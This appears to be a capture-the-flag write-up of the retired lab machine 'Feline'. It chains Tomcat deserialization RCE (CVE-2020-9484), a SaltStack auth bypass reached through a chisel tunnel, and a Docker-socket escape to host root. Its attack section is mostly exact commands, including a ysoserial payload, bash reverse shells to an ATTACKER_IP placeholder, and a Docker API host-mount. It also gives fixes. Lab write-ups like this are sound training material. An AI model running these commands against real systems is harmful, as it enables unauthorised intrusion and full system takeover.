Feline
Summary
Target feline ($TARGET) was fully compromised from an unauthenticated network position to root in three chained stages. A publicly accessible Apache Tomcat 9.0.27 instance hosted a file-upload application that stored files under my own filenames; combined with a Java deserialization flaw in Tomcat's session-persistence feature (CVE-2020-9484), this produced remote code execution as the tomcat service account.
Local port enumeration revealed an unpatched SaltStack salt-master bound exclusively to the loopback interface; a chisel port-forward tunnel exposed it to me, and an authentication-bypass vulnerability (CVE-2020-11651/CVE-2020-11652) gave arbitrary command execution inside a Docker container running as root. That container had the host Docker socket mounted inside it; by querying the Docker API directly over the socket, I created a new container mounting the entire host filesystem, chroot'd into it, and executed a shell as root on the underlying host, achieving complete system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets (<container_id>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Full TCP port scan with service/version detection to identify all exposed services.
$ nmap -Pn -p- --min-rate 5000 -T4 -sV $TARGETFetch the web application to identify the upload form and application behavior.
$ curl -sS -L http://$TARGET:8080/service/Exact commands 4
Start the reverse-shell listener on my machine before uploading the payload.
$ nc -lvnp 4444Generate the deserialization payload. Replace <BASE64_REVSHELL> with base64('bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'). First test with a curl/ping callback to confirm CC2 fires before triggering the shell.
$ java -jar ysoserial.jar CommonsCollections2 'bash -c {echo,<BASE64_REVSHELL>}|{base64,-d}|{bash,-i}' > f.sessionUpload the payload; Tomcat writes it verbatim to /opt/samples/uploads/f.session.
$ curl -sS -F 'file=@f.session;filename=f.session' http://$TARGET:8080/service/Trigger deserialization: Tomcat appends .session and deserializes the uploaded gadget chain, executing the reverse shell.
$ curl -s http://$TARGET:8080/ -H 'Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/f'FixPatch Tomcat to 9.0.36+ and sanitize upload filenames to eliminate the deserialization RCE primitiveCritical
Exact commands 1
Confirm shell identity and locate/read the user flag.
$ id; find / -name user.txt -type f -readable 2>/dev/null -exec sh -c 'echo FILE:$1; cat "$1"' _ {} \;
uid=1000(tomcat)Exact commands 2
From the tomcat reverse shell: confirm the SaltStack ports are listening on loopback only.
$ ss -lntp | grep -E ':4505|:4506'Read the salt-master config to identify version and any additional settings.
$ cat /etc/salt/master 2>/dev/null; ls /etc/salt/ 2>/dev/nullExact commands 4
Run on my machine to accept the reverse tunnel connection from the target.
$ chisel server --reverse --port 9001Run on the target (tomcat shell). Setsid ensures the tunnel survives shell exit. Replace $ATTACKER_IP with your IP.
$ setsid -f ./chisel client $ATTACKER_IP:9001 R:14506:127.0.0.1:4506 &Set up the salt exploit environment in a fresh venv to avoid system pip conflicts. Set TMPDIR to a writable path if needed.
$ git clone https://github.com/jasperla/CVE-2020-11651-poc && cd CVE-2020-11651-poc && python3 -m venv saltvenv && saltvenv/bin/pip install salt looseversion distroConfirm RCE as root inside the salt-master Docker container. Output should show uid=0(root).
$ saltvenv/bin/python exploit.py --master 127.0.0.1 --port 14506 --exec 'id'FixPatch SaltStack and restrict salt-master port access to trusted hosts onlyCritical
Exact commands 5
Confirm the Docker socket is accessible from within the container.
$ saltvenv/bin/python exploit.py --master 127.0.0.1 --port 14506 --exec 'ls -la /var/run/docker.sock'List available Docker images via the socket API to identify the image name to use (e.g. 'sandbox').
$ saltvenv/bin/python exploit.py --master 127.0.0.1 --port 14506 --exec 'curl -s --unix-socket /var/run/docker.sock http://localhost/images/json'Start a second reverse-shell listener on I for the host-root shell.
$ nc -lvnp 4446Create a container mounting host / at /mnt with a chroot reverse shell command. Replace $ATTACKER_IP. Note the container ID returned.
$ saltvenv/bin/python exploit.py --master 127.0.0.1 --port 14506 --exec "curl -sS --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' -X POST -d '{\"Image\":\"sandbox\",\"Cmd\":[\"/bin/sh\",\"-c\",\"chroot /mnt bash -c \\\"bash -i >& /dev/tcp/$ATTACKER_IP/4446 0>&1\\\"\"],\"HostConfig\":{\"Binds\":[\"/:/mnt:rw\"]}}' http://localhost/containers/create"Start the container to execute the chroot shell. Replace <container_id> from the previous create response.
$ saltvenv/bin/python exploit.py --master 127.0.0.1 --port 14506 --exec "curl -sS --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<container_id>/start"FixRemove the Docker socket bind-mount from all containers that do not strictly require direct daemon accessCritical
Exact commands 1
Confirm root identity on the host and capture the root flag. Expected output: uid=0(root), root.txt = <root.txt>.
$ id; hostname; cat /root/root.txt
uid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain': a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all (prefer a data format that carries no types, such as JSON parsed into known structures) and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http Apache Tomcat 9.0.27 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.